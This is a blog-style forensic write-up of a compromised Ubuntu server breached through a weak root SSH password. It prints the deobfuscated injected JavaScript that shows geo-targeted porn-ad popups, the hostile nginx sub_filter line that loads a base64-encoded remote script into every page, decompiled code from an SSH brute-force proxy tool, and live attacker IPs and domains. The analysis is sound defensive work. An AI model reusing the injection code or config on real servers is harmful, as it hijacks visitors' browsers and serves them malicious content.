0x01 Cause#
When I opened PVE as usual to play Genshin Impact, I found that the default page of Nginx (1.18) had been injected with a JS, which was disguised as JQuery, very interesting.
JS Deobfuscation#
Looking at this JS, I found it was obfuscated, so I performed a deobfuscation.
The deobfuscated code is as follows:
(() => {
const config = {
key: "13792427ab60437bafb55088e45e0e06",
address: "https://bootscritp.com/lib/jquery/4.7.2/index.html",
imageUrl: "https://bootscritp.com/lib/jquery/4.7.2/1.gif",
jumpPercent: 100, // Percentage control
jumpCount: 1, // Maximum number of pops per day
debug: false // Debug switch (true = force pop)
};
function createPopup() {
if (document.getElementById("popup-container")) return;
const html = `
<div id="popup-container"
style="display:none;position:fixed;top:0;left:0;width:100%;height:100%;
background:rgba(0,0,0,0.6);z-index:999999;">
<div id="popup-box"
style="position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);
border-radius:12px;max-width:90%;background:transparent;">
<div style="text-align:right;position:absolute;top:-35px;right:-5px;">
<span id="popup-close"
style="cursor:pointer;font-size:26px;font-weight:bold;color:#fff;
transition:color 0.3s;">✖</span>
</div>
<div style="text-align:center;">
<img id="popup-image" alt="Click to enter"
style="cursor:pointer;width:90%;max-width:600px;border-radius:12px;">
</div>
</div>
</div>`;
document.body.insertAdjacentHTML("beforeend", html);
}
function showPopup() {
createPopup();
const popup = document.getElementById("popup-container");
const box = document.getElementById("popup-box");
const img = document.getElementById("popup-image");
const closeBtn = document.getElementById("popup-close");
if (popup) popup.style.display = "block";
if (img) {
img.src = config.imageUrl;
img.addEventListener("click", () => window.location.href = config.address);
}
if (closeBtn) {
closeBtn.addEventListener("click", () => popup.style.display = "none");
closeBtn.addEventListener("mouseover", () => closeBtn.style.color = "red");
closeBtn.addEventListener("mouseout", () => closeBtn.style.color = "#fff");
}
if (popup) popup.addEventListener("click", () => popup.style.display = "none");
if (box) box.addEventListener("click", (e) => e.stopPropagation());
}
function conditionCheck() {
if (config.debug) { showPopup(); return; }
let data = {};
try { data = JSON.parse(localStorage.getItem(config.key)) || {}; } catch {}
const today = new Date().toISOString().split("T")[0];
if (data.date !== today) data = { date: today, count: 0 };
if (data.count >= config.jumpCount || Math.random() * 100 >= config.jumpPercent) return;
// Only allow mainland China IP
fetch("https://api.ip.sb/geoip")
.then(r => r.json())
.then(json => {
console.log("GeoIP response:", json);
if (json.country_code === "CN") {
data.count++;
localStorage.setItem(config.key, JSON.stringify(data));
showPopup();
}
})
.catch(err => console.warn("GeoIP failed", err));
}
if (document.readyState === "loading") {
document.addEventListener("DOMContentLoaded", conditionCheck);
} else {
conditionCheck();
}
})();
Pornographic Ads#
It can be seen that this is not a script that triggers every time, but to satisfy everyone's curiosity, I will execute it immediately.
0x02 Location#
This is a server located in Ningbo provided by a domestic server provider, and the server has been registered under a certain company. It is very interesting that it can still be attacked under such strict conditions, so let's start checking from the victim Nginx.
root@server-rMGU1XbC:~# curl 127.0.0.1
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
body {
width: 35em;
margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif;
}
</style>
<script>document.cookie="hasVisited178a=1;Max-Age=86400;Path=/";(function(){var hm=document.createElement("script");hm.src=atob("aHR0cHM6Ly9ib290c2NyaXRwLmNvbS9saWIvanF1ZXJ5LzQuNy4yL2pxdWVyeS5taW4uanM=");var s=document.getElementsByTagName("script")[0];s.parentNode.insertBefore(hm,s);})();</script>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>
<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>
<p><em>Thank you for using nginx.</em></p>
</body>
</html>
After logging into the server and making a local request, I found that it was also polluted, so I started to check where it was attacked.
First, let's take a look at the Nginx configuration file.
cat /etc/nginx/nginx.conf
...
sub_filter_types text/html;
sub_filter '</head>' '<script>document.cookie="hasVisited178a=1;Max-Age=86400;Path=/";(function(){var hm=document.createElement("script");hm.src=atob("aHR0cHM6Ly9ib290c2NyaXRwLmNvbS9saWIvanF1ZXJ5LzQuNy4yL2pxdWVyeS5taW4uanM=");var s=document.getElementsByTagName("script")[0];s.parentNode.insertBefore(hm,s);})();</script>
</head>';
sub_filter_once off;
...
It can be seen that all web pages of Nginx have been added with a header.
root@server-rMGU1XbC:~# cat /usr/share/nginx/html/index.html
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
body {
width: 35em;
margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif;
}
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>
<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>
<p><em>Thank you for using nginx.</em></p>
</body>
</html>
The local Nginx homepage file has not been modified. Let's check if Nginx itself has been attacked.
root@server-rMGU1XbC:~# which nginx
/usr/sbin/nginx
root@server-rMGU1XbC:~# md5sum /usr/sbin/nginx
1317754528e1c486b6f1e8b363062683 /usr/sbin/nginx
There is no problem, so who modified the Nginx configuration?
0x03 Investigation#
Let's take a look at lsof.
proxy-age 3906587 root 6u IPv4 643527364 0t0 TCP server-rMGU1XbC:40482->auditbitcoin.supply:ssh (ESTABLISHED)
proxy-age 3906587 root 7u IPv4 643523331 0t0 TCP server-rMGU1XbC:59370->vps-ca4bf331.vps.ovh.net:ssh (ESTABLISHED)
proxy-age 3906587 root 8u IPv4 643527858 0t0 TCP server-rMGU1XbC:41792->server.pagesplus.nl:ssh (ESTABLISHED)
proxy-age 3906587 root 9u IPv4 643486279 0t0 TCP server-rMGU1XbC:14106->au.ssdvps.xyz:ssh (ESTABLISHED)
proxy-age 3906587 root 10u IPv4 643524301 0t0 TCP server-rMGU1XbC:19748->static.23.122.90.157.clients.your-server.de:ssh (ESTABLISHED)
proxy-age 3906587 root 11u IPv4 643524645 0t0 TCP server-rMGU1XbC:58688->95.216.13.40:ssh (ESTABLISHED)
proxy-agent#
Let's check what this is by PID.
root@server-rMGU1XbC:~# sudo lsof -p 3906587
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
proxy-age 3906587 root cwd DIR 8,17 4096 1684 /tmp/.mjdjuxxcydy/k
proxy-age 3906587 root rtd DIR 8,17 4096 2 /
proxy-age 3906587 root txt REG 8,17 8587347 2571 /tmp/.mjdjuxxcydy/k/proxy-agent
proxy-age 3906587 root mem REG 8,17 2029592 15376 /usr/lib/x86_64-linux-gnu/libc-2.31.so
proxy-age 3906587 root mem REG 8,17 157224 15389 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
proxy-age 3906587 root mem REG 8,17 101352 15390 /usr/lib/x86_64-linux-gnu/libresolv-2.31.so
proxy-age 3906587 root mem REG 8,17 191504 15372 /usr/lib/x86_64-linux-gnu/ld-2.31.so
proxy-age 3906587 root 0r FIFO 0,13 0t0 174659017 pipe
proxy-age 3906587 root 1w CHR 1,3 0t0 6 /dev/null
proxy-age 3906587 root 2w CHR 1,3 0t0 6 /dev/null
proxy-age 3906587 root 3w CHR 1,3 0t0 6 /dev/null
proxy-age 3906587 root 4u a_inode 0,14 0 11318 [eventpoll]
proxy-age 3906587 root 5u a_inode 0,14 0 11318 [eventfd]
A very typical /tmp
path, let's take a look.
root@server-rMGU1XbC:/tmp/newpop# ls -a /tmp
. .XIM-unix cc.2 newpop sshbot uv-5abec762cab0104e.lock
.. .font-unix cc.3 nginx-test systemd-private-8ad1e99f07844f46aa091036c4c902b8-ModemManager.service-hcplzi
.ICE-unix .mjdjuxxcydy envnew nginx_cache systemd-private-8ad1e99f07844f46aa091036c4c902b8-systemd-logind.service-FYj7gj
.Test-unix aa.txt envnew.tgz nus systemd-private-8ad1e99f07844f46aa091036c4c902b8-systemd-resolved.service-1knWwg
.X11-unix cc.1 initial.log snap-private-tmp systemd-private-8ad1e99f07844f46aa091036c4c902b8-systemd-timesyncd.service-CEKp4h
root@server-rMGU1XbC:~# stat /tmp/.mjdjuxxcydy
File: /tmp/.mjdjuxxcydy
Size: 4096 Blocks: 8 IO Block: 4096 directory
Device: 811h/2065d Inode: 1257 Links: 3
Access: (0755/drwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2025-09-11 18:52:26.599159469 +0800
Modify: 2025-07-18 23:11:32.969822573 +0800
Change: 2025-07-18 23:11:32.969822573 +0800
Birth: -
root@server-rMGU1XbC:~# stat /tmp/sshbot
File: /tmp/sshbot
Size: 4096 Blocks: 8 IO Block: 4096 directory
Device: 811h/2065d Inode: 2167 Links: 2
Access: (0755/drwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2025-09-11 18:52:26.595159432 +0800
Modify: 2025-07-01 18:23:21.451502461 +0800
Change: 2025-07-01 18:23:21.451502461 +0800
Birth: -
The directory where the proxy-agent is located, .mjdjuxxcydy
, along with newpop
and sshbot
, are all very suspicious. Let's randomly pull one to analyze locally.
First, I will upload it to Qihoo 360 for verification, and then analyze it slowly.
❯ file proxy-agent
proxy-agent: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=o6eaCr6JBkZCyBoMHfJX/LYWJHnsdDphndSyRnfVW/YgvgIxWc08bxgG1gT0mk/XcdJH4nBZKd8zbsHni3G, with debug_info, not stripped
《with debug_info, not stripped》
Written in Go, and it still has debug information. Let's take a look.
❯ ldd proxy-agent
linux-vdso.so.1 (0x00007fdb32bb8000)
libresolv.so.2 => /usr/lib/libresolv.so.2 (0x00007fdb32b62000)
libpthread.so.0 => /usr/lib/libpthread.so.0 (0x00007fdb32b5d000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007fdb32800000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fdb32bba000)
There is no problem. Let's open it in IDA.
v87.str = (uint8 *)"http://147.182.224.216/gzip.exe";
v87.len = 31LL;
main_getPasswordFromURL(v87, *(string_0 *)&v0, v2, v3, v55);
v73.str = v87.str;
s = 31LL;
if ( v5 )
{
*(_OWORD *)&v.array = v4;
v.array = *(interface__0 **)(v5 + 8);
v.len = v1;
v88.str = (uint8 *)"Failed to fetch password: %v\n";
v88.len = 29LL;
v96.array = (interface__0 *)&v;
v96.len = 1LL;
log_Fatalf(v88, v96);
}
v98.str = (uint8 *)&byte_72937A;
v98.len = 3LL;
v81.str = (uint8 *)"ips.txt\x1B[1;33mFreeBSDUsage:\nfloat32float64UpgradeupgradeCONNECTarcfourssh-rsassh-dsssessionsshtypeTrailersocks5hHEADERSReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUGname %q:method:scheme:statushttp://chunkedCreatedIM UsedTuesdayJanuaryOctoberinvaliduintptrChanDir Value>ConvertforcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWN:events, goid= s=nil\n (scan MB in pacer: % CPU ( zombie, j0 = head = ,errno=panic: nmsys= locks= dying= allocsrax rbx rcx rdx rdi rsi rbp rsp r8 r9 r10 r11 r12 r13 r14 r15 rip rflags cs fs gs Signal signal m->g0= pad1= pad2= text= minpc= \tvalue= (scan)\ttypes : type 19531259765625nil keytls3desderivedInitialconnectlookup writetoSHA-224SHA-256SHA-384SHA-512Ed25519MD5-RSAserial:ExpiresSubjectcharsetavx512fos/execruntimeeae_prkanswers2.5.4.62.5.4.32.5.4.52.5.4.72.5.4.82.5.4.9amxtileamxint8amxbf16osxsavepass.txtSSH port%Domain%%domain%%DOMAIN%uname -adurationGoStringNO_PROXYno_proxyHTTP/1.1RSV1 setRSV2 setRSV3 setbad MASK3des-cbcpasswordhost keynistp256nistp384nistp521hijackedNO_ERRORPRIORITYSETTINGSLocation data=%q incr=%v ping=%qif-matchlocationhttp/1.1HTTP/2.0no-cacheContinueAcceptedConflictreadlinksendfilenil PoolThursdaySaturdayFebruaryNovemberDecember%!Month(scavengepollDesctraceBufdeadlockraceFinipanicnilcgocheckrunnable procid is not pointer, errno= packed=BAD RANK status unknown(trigger= npages= nalloc= nfreed=) errno=[signal newval= mcount= bytes, \n-----\n\n stack=[ minLC= maxpc= \tstack=[ minutes status= etypes 48828125strconv.parsing ParseInttlskyberCurveID(finishedexporternetedns0[::1]:53continue_gatewayshutdowninvalid address raw-readreadfromunixgramMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512SHA1-RSADSA-SHA1x509sha1DNS nameReceivedif-rangeno anodeavx512bwavx512vlgo/typesnet/httpgo/buildClassANYQuestion2.5.4.102.5.4.112.5.4.17avx512cdavx512eravx512pfavx512dqpasswords%alldoms%lschlegelwebsocket";
v81.len = 7LL;
v82.str = (uint8 *)"File containing domain and IP pairs";
v82.len = 35LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v82, v6);
_r0.len = v7;
v98.str = (uint8 *)"passwords%alldoms%lschlegelwebsocket";
v98.len = 9LL;
v81.str = (uint8 *)"pass.txtSSH port%Domain%%domain%%DOMAIN%uname -adurationGoStringNO_PROXYno_proxyHTTP/1.1RSV1 setRSV2 setRSV3 setbad MASK3des-cbcpasswordhost keynistp256nistp384nistp521hijackedNO_ERRORPRIORITYSETTINGSLocation data=%q incr=%v ping=%qif-matchlocationhttp/1.1HTTP/2.0no-cacheContinueAcceptedConflictreadlinksendfilenil PoolThursdaySaturdayFebruaryNovemberDecember%!Month(scavengepollDesctraceBufdeadlockraceFinipanicnilcgocheckrunnable procid is not pointer, errno= packed=BAD RANK status unknown(trigger= npages= nalloc= nfreed=) errno=[signal newval= mcount= bytes, \n-----\n\n stack=[ minLC= maxpc= \tstack=[ minutes status= etypes 48828125strconv.parsing ParseInttlskyberCurveID(finishedexporternetedns0[::1]:53continue_gatewayshutdowninvalid address raw-readreadfromunixgramMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512SHA1-RSADSA-SHA1x509sha1DNS nameReceivedif-rangeno anodeavx512bwavx512vlgo/typesnet/httpgo/buildClassANYQuestion2.5.4.102.5.4.112.5.4.17avx512cdavx512eravx512pfavx512dqpasswords%alldoms%lschlegelwebsocket";
v81.len = 8LL;
v83.str = (uint8 *)"File containing passwords";
v83.len = 25LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v83, v8);
_r0.array = v9;
v98.str = (uint8 *)&go_string__ptr_;
v98.len = 1LL;
v81.str = (uint8 *)&value;
v81.len = 2LL;
v84.str = (uint8 *)"SSH port%Domain%%domain%%DOMAIN%uname -adurationGoStringNO_PROXYno_proxyHTTP/1.1RSV1 setRSV2 setRSV3 setbad MASK3des-cbcpasswordhost keynistp256nistp384nistp521hijackedNO_ERRORPRIORITYSETTINGSLocation data=%q incr=%v ping=%qif-matchlocationhttp/1.1HTTP/2.0no-cacheContinueAcceptedConflictreadlinksendfilenil PoolThursdaySaturdayFebruaryNovemberDecember%!Month(scavengepollDesctraceBufdeadlockraceFinipanicnilcgocheckrunnable procid is not pointer, errno= packed=BAD RANK status unknown(trigger= npages= nalloc= nfreed=) errno=[signal newval= mcount= bytes, \n-----\n\n stack=[ minLC= maxpc= \tstack=[ minutes status= etypes 48828125strconv.parsing ParseInttlskyberCurveID(finishedexporternetedns0[::1]:53continue_gatewayshutdowninvalid address raw-readreadfromunixgramMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512SHA1-RSADSA-SHA1x509sha1DNS nameReceivedif-rangeno anodeavx512bwavx512vlgo/typesnet/httpgo/buildClassANYQuestion2.5.4.102.5.4.112.5.4.17avx512cdavx512eravx512pfavx512dqpasswords%alldoms%lschlegelwebsocket";
v81.len = 8LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v84, v10);
v70 = v11;
v98.str = (uint8 *)&byte_7ACE40;
v98.len = 1LL;
v81.str = (uint8 *)&byte_72937D;
v81.len = 3LL;
v85.str = (uint8 *)"Timeout duration";
v85.len = 16LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v85, v12);
v69 = v13;
v98.str = (uint8 *)"serverport";
v98.len = 10LL;
v81.str = (uint8 *)"9595\x1B[0mroottrueuint:443httpnoneABRTALRMKILLPIPEQUITSEGVTERMexecunixreadSSH-Host<>idle1080DATAPINGPOSTEtag0x%xdateetagfromhostlinkvaryDategzip%x\r\nGoneopenstatsyncfileJuneJuly as hour in /etcboolint8chanfunccallkind on != allgallpitabsbrkdead is LEAFbase of ) = <==GOGC] = s + ,r2= pc=+Inf-Inf: p=cas1cas2cas3cas4cas5cas6 at \n\tm= sp= sp: lr: fp= gp= mp=) m=3125Atoiicmpigmpftpspop3smtpdial \r\t\nbindasn1Fromxn--ermssse3avx2bmi1bmi2timebitsNameTypecx16sse2%s:%s<nil>LinuxSunossvr04falsevaluefloat -%sErrorhttpswrite&"':***@Rangerangeclose:path%s %q%s=%sHTTP/socksFoundlstatMarchAprilmonthLocalGreekint16int32int64uint8arrayslice and defersweeptestRtestWexecWhchanexecRschedsudogtimergscanmheaptracepanicsleep cnt=gcing MB, got= ...\n max=scav ptr ] = (trap:init ms, fault tab= top=[...], fp:1562578125tls: Earlylinuxfilesimap2imap3imapspop3shostsparseSHA-1P-224P-256P-384P-521ECDSAutf-8%s*%dtext/bad nsse41sse42ssse3 (at Class...155%User%%user%Darwinnodorrstring\n \tStringFormat[]byteBasic serveractiveclosedsocks5CANCELGOAWAYPADDEDCookieacceptallow";
v81.len = 4LL;
v86.str = (uint8 *)"Port for receiving data";
v86.len = 23LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v86, v14);
v68 = v15;
main_concurrency = 1000LL;
v98.str = (uint8 *)&go_itab__ptr_flag_intValue_comma_flag_Value;
v98.len = (int)&main_concurrency;
*(_QWORD *)v16 = &byte_7AE7D0;
*(_QWORD *)&v16[8] = 1LL;
*(_QWORD *)&v16[16] = "Concurrency level for SSH attempts";
*(_QWORD *)&v16[24] = 34LL;
flag__ptr_FlagSet_Var(flag_CommandLine, (flag_Value_0)v98, *(string_0 *)v16, *(string_0 *)&v16[16]);
if ( !os_Args.len )
runtime_panicSliceB();
v17 = os_Args.len - 1;
*(_QWORD *)v16 = os_Args.cap - 1;
*(_QWORD *)&v16[8] = ((1 - os_Args.cap) >> 63) & 0x10;
v18 = (char *)os_Args.array + *(_QWORD *)&v16[8];
flag__ptr_FlagSet_Parse(flag_CommandLine, *(_slice_string_0 *)&v16[-16], *(error_0 *)&v16[8]);
v19 = *v69;
v20 = v69[1];
time_ParseDuration(*(string_0 *)(&v20 - 1), v21, *(error_0 *)v16);
elem = v24;
if ( v20 )
{
*(_OWORD *)&v.array = v4;
v.array = *(interface__0 **)(v20 + 8);
v.len = v22;
v89.str = (uint8 *)"Invalid timeout value: %v";
v89.len = 25LL;
p_v = &v;
*(_QWORD *)v16 = 1LL;
*(_QWORD *)&v16[8] = 1LL;
log_Fatalf(v89, *(_slice_interface__0 *)&v16[-8]);
}
len = _r0.len;
v90 = *(string_0 *)_r0.len;
main_loadDomainIPs(
*(string_0 *)_r0.len,
*(_slice_main_domainIP *)&v16[-8],
*(_slice_main_domainIP *)&v16[16],
v56,
v58);
v73.len = (int)v90.str;
v63 = v90.len;
if ( *(_QWORD *)v16 )
{
*(_OWORD *)&v.array = v4;
v.array = *(interface__0 **)(*(_QWORD *)v16 + 8LL);
v.len = *(_QWORD *)&v16[8];
v91.str = (uint8 *)"Failed to load domain and IP pairs from file: %vbufio: writer returned negative count from Write";
v91.len = 48LL;
v27 = &v;
*(_QWORD *)v16 = 1LL;
*(_QWORD *)&v16[8] = 1LL;
log_Fatalf(v91, *(_slice_interface__0 *)&v16[-8]);
}
array = _r0.array;
v92 = *_r0.array;
main_loadPasswords(*_r0.array, *(_slice_string_0 *)&v16[-8], *(_slice_string_0 *)&v16[16], v57, v59);
str = v92.str;
v61 = v92.len;
if ( *(_QWORD *)v16 )
{
*(_OWORD *)&v.array = v4;
v.array = *(interface__0 **)(*(_QWORD *)v16 + 8LL);
v.len = *(_QWORD *)&v16[8];
v93.str = (uint8 *)"Failed to load passwords from file: %v";
v93.len = 38LL;
v30 = &v;
*(_QWORD *)v16 = 1LL;
*(_QWORD *)&v16[8] = 1LL;
log_Fatalf(v93, *(_slice_interface__0 *)&v16[-8]);
}
v94.str = v73.str;
v94.len = s;
strings_TrimSpace(v94, *(string_0 *)&v16[-8]);
if ( main_defaultPassword.len != s || (runtime_memequal(), !v32) )
{
v95.str = (uint8 *)"Incorrect password. Exiting...\n";
v95.len = 31LL;
v97.array = 0LL;
*(_OWORD *)&v97.len = 0uLL;
log_Fatalf(v95, v97);
}
After carefully examining each function, I found that this software is not the culprit behind the Nginx page being tampered with; it is merely a proxy software that uses our machine to attack other servers. We need to analyze further.
brute#
Entering the sshbot
folder, I found an executable file named brute
.
brute
is used to brute-force server accounts and passwords, in conjunction with proxy-agent
to attack other victims.
dockers#
Checking ps aux
, I can see many dockers
processes started during the summer. Although the running paths are displayed, I found that the files have already been deleted, leaving only core dumps.
root 3578741 0.0 0.1 15896 3828 ? S Jul17 5:09 /usr/sbin/dockers
root 3664316 0.0 0.1 15900 3836 ? S Jul17 0:31 /usr/sbin/dockers
root 3690959 0.0 0.2 16028 3968 ? S Jul18 4:58 /usr/sbin/dockers
root 3694008 0.0 0.1 16032 3904 ? S Jul18 5:01 /usr/sbin/dockers
root 3694116 0.0 0.1 15892 3816 ? S Jul18 4:54 /usr/sbin/dockers
root 3694272 0.0 0.1 16032 3840 ? S Jul18 4:56 /usr/sbin/dockers
root 3695142 0.0 0.1 15900 3824 ? S Jul18 5:06 /usr/sbin/dockers
root 3696764 0.0 0.1 15900 3840 ? S Jul18 4:54 /usr/sbin/dockers
root 3698274 0.0 0.1 16024 3868 ? S Jul18 4:57 /usr/sbin/dockers
root 3701017 0.0 0.1 15900 3836 ? S Jul18 4:59 /usr/sbin/dockers
root 3701045 0.0 0.1 15896 3832 ? S Jul18 5:05 /usr/sbin/dockers
root 3790827 0.0 0.2 15896 4212 ? S Jul18 4:58 /usr/sbin/dockers
root 3829224 0.0 0.2 15900 4160 ? S Jul19 5:00 /usr/sbin/dockers
Let's randomly grab one and perform a memory dump using gcore
to obtain a core dump.
gcore -o ./dump 3829224
Let's take a look at it in IDA.
A Perl script, let's continue checking the strings.
PnP and IRC, it is undoubtedly a botnet. The dockers
are probably used to control our parent server and to use us to control other compromised machines.
Let's check the communication IP of dockers
using lsof
to see what kind of compromised machines are involved.
It turns out to be in Switzerland.
0x04 The Truth Revealed#
Continuing to check ps aux
, I saw a long-running sshd
process, knowing that this Swiss IP 185.208.158.91
has been continuously connecting to our server. How arrogant, not even hiding itself.
root 3809994 57.6 0.2 16656 5564 ? R Aug20 18319:18 /usr/sbin/sshd -i
root@server-rMGU1XbC:/var/log# sudo netstat -natp | grep 3809994
tcp 0 0 110.xxx.98.xxx:39290 185.208.158.91:6667 ESTABLISHED 3809994/sshd -i
Let's try a full disk search for this IP that connected via ssh.
sudo grep -r "185.208.158.91" /etc /var /home
Found logs.
Sep 01 06:35:43 server-rMGU1XbC sshd[1074275]: Accepted password for root from 185.208.158.91 port 60788 ssh2
Sep 01 06:35:43 server-rMGU1XbC sshd[1074275]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 01 06:35:43 server-rMGU1XbC systemd[1]: Started Session 24621 of user root.
Sep 01 06:35:43 server-rMGU1XbC systemd-logind[677]: New session 24621 of user root.
Sep 01 06:35:46 server-rMGU1XbC casaos[1403]: {"time":"2025-09-01T06:35:46.000736436+08:00","id":"","remote_ip":"127.0.0.1","host":"127.0.0.1:45671","method":"POST","uri":"/v1/notify/>
Sep 01 06:35:46 server-rMGU1XbC casaos[1403]: {"time":"2025-09-01T06:35:46.015785227+08:00","id":"","remote_ip":"127.0.0.1","host":"127.0.0.1:45671","method":"POST","uri":"/v1/notify/>
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: /bin/bash -c source /usr/share/casaos/shell/helper.sh ;GetNetCard 2
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: eth0
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: /bin/bash -c source /usr/share/casaos/shell/helper.sh ;CatNetCardState eth0
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: up
Sep 01 06:35:47 server-rMGU1XbC casaos-message-bus[1249]: {"time":"2025-09-01T06:35:47.033515811+08:00","id":"","remote_ip":"127.0.0.1","host":"127.0.0.1:33341","method":"POST","uri":>
Sep 01 06:35:47 server-rMGU1XbC sshd[1074275]: pam_unix(sshd:session): session closed for user root
Sep 01 06:35:47 server-rMGU1XbC systemd-logind[677]: Session 24621 logged out. Waiting for processes to exit.
《Accepted password》
There should be a defense program on the server to ban failed brute-force attacks, how could the password be known?
(Thinking)
Alert*
Indeed, even experienced operations can make such mistakes. Originally, when buying this server with classmates, I repeatedly reminded them not to set such simple passwords, but they were brushed off with reasons like complex passwords being hard to remember and token login being inconvenient, and it ended up unresolved.
I thought it was due to some outdated software being found with a CVE, and I blamed Ubuntu a bit. It seems that social engineering > technology.
Now the urgent task is to reinstall the system, change the password, and then write a blog to warn myself.
0x05 Epilogue#
Who installed a NAS on a server with only 20 GB? I don't know how uncomfortable it is to use. Without partitioning user data, now reinstalling the system means all data is gone.
Fake cron and newpop#
While cleaning the system, I found another virus.
root@server-rMGU1XbC:~/volatility# ps aux | grep cron
root 632 0.0 0.1 8540 2552 ? Ss Apr14 0:19 /usr/sbin/cron -f
root 293584 57.8 0.2 16532 4876 ? R Aug26 14023:41 /usr/sbin/cron
root 2451024 0.0 0.1 8436 2460 pts/4 S+ 22:33 0:00 grep --color=auto cron
root@server-rMGU1XbC:~/volatility# lsof -p 293584
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
/usr/sbin 293584 root cwd DIR 8,17 0 2374 /tmp/newpop (deleted)
/usr/sbin 293584 root rtd DIR 8,17 4096 2 /
/usr/sbin 293584 root txt REG 8,17 3478464 2113 /usr/bin/perl
/usr/sbin 293584 root mem REG 8,17 101352 15390 /usr/lib/x86_64-linux-gnu/libresolv-2.31.so
/usr/sbin 293584 root mem REG 8,17 27112 15383 /usr/lib/x86_64-linux-gnu/libnss_dns-2.31.so
/usr/sbin 293584 root mem REG 8,17 51856 15384 /usr/lib/x86_64-linux-gnu/libnss_files-2.31.so
/usr/sbin 293584 root mem REG 8,17 23152 72436 /usr/lib/x86_64-linux-gnu/perl/5.30.0/auto/IO/IO.so
/usr/sbin 293584 root mem REG 8,17 47832 72450 /usr/lib/x86_64-linux-gnu/perl/5.30.0/auto/Socket/Socket.so
/usr/sbin 293584 root mem REG 8,17 62 15152 /usr/lib/locale/C.UTF-8/LC_NAME
/usr/sbin 293584 root mem REG 8,17 47 15155 /usr/lib/locale/C.UTF-8/LC_TELEPHONE
/usr/sbin 293584 root mem REG 8,17 34 15154 /usr/lib/locale/C.UTF-8/LC_PAPER
/usr/sbin 293584 root mem REG 8,17 23 15149 /usr/lib/locale/C.UTF-8/LC_MEASUREMENT
/usr/sbin 293584 root mem REG 8,17 252 15148 /usr/lib/locale/C.UTF-8/LC_IDENTIFICATION
/usr/sbin 293584 root mem REG 8,17 131 15145 /usr/lib/locale/C.UTF-8/LC_ADDRESS
/usr/sbin 293584 root mem REG 8,17 1518110 15146 /usr/lib/locale/C.UTF-8/LC_COLLATE
/usr/sbin 293584 root mem REG 8,17 201272 15147 /usr/lib/locale/C.UTF-8/LC_CTYPE
/usr/sbin 293584 root mem REG 8,17 3035952 11819 /usr/lib/locale/locale-archive
/usr/sbin 293584 root mem REG 8,17 202760 3462 /usr/lib/x86_64-linux-gnu/libcrypt.so.1.1.0
/usr/sbin 293584 root mem REG 8,17 2029592 15376 /usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/sbin 293584 root mem REG 8,17 157224 15389 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
/usr/sbin 293584 root mem REG 8,17 1369384 15378 /usr/lib/x86_64-linux-gnu/libm-2.31.so
/usr/sbin 293584 root mem REG 8,17 18848 15377 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
/usr/sbin 293584 root mem REG 8,17 270 15151 /usr/lib/locale/C.UTF-8/LC_MONETARY
/usr/sbin 293584 root mem REG 8,17 48 15150 /usr/lib/locale/C.UTF-8/LC_MESSAGES/SYS_LC_MESSAGES
/usr/sbin 293584 root mem REG 8,17 3360 15156 /usr/lib/locale/C.UTF-8/LC_TIME
/usr/sbin 293584 root mem REG 8,17 27002 15643 /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
/usr/sbin 293584 root mem REG 8,17 191504 15372 /usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/sbin 293584 root mem REG 8,17 50 15153 /usr/lib/locale/C.UTF-8/LC_NUMERIC
/usr/sbin 293584 root 0r FIFO 0,13 0t0 499017526 pipe
/usr/sbin 293584 root 1w FIFO 0,13 0t0 499017527 pipe
/usr/sbin 293584 root 2w FIFO 0,13 0t0 499017528 pipe
/usr/sbin 293584 root 3u IPv4 504764119 0t0 TCP server-rMGU1XbC:60640->104.250.164.23:ircd (ESTABLISHED)
This corresponds exactly to the previously found newpop
in /tmp
. Indeed, once the password is leaked, all the botnets come to snatch the compromised machine.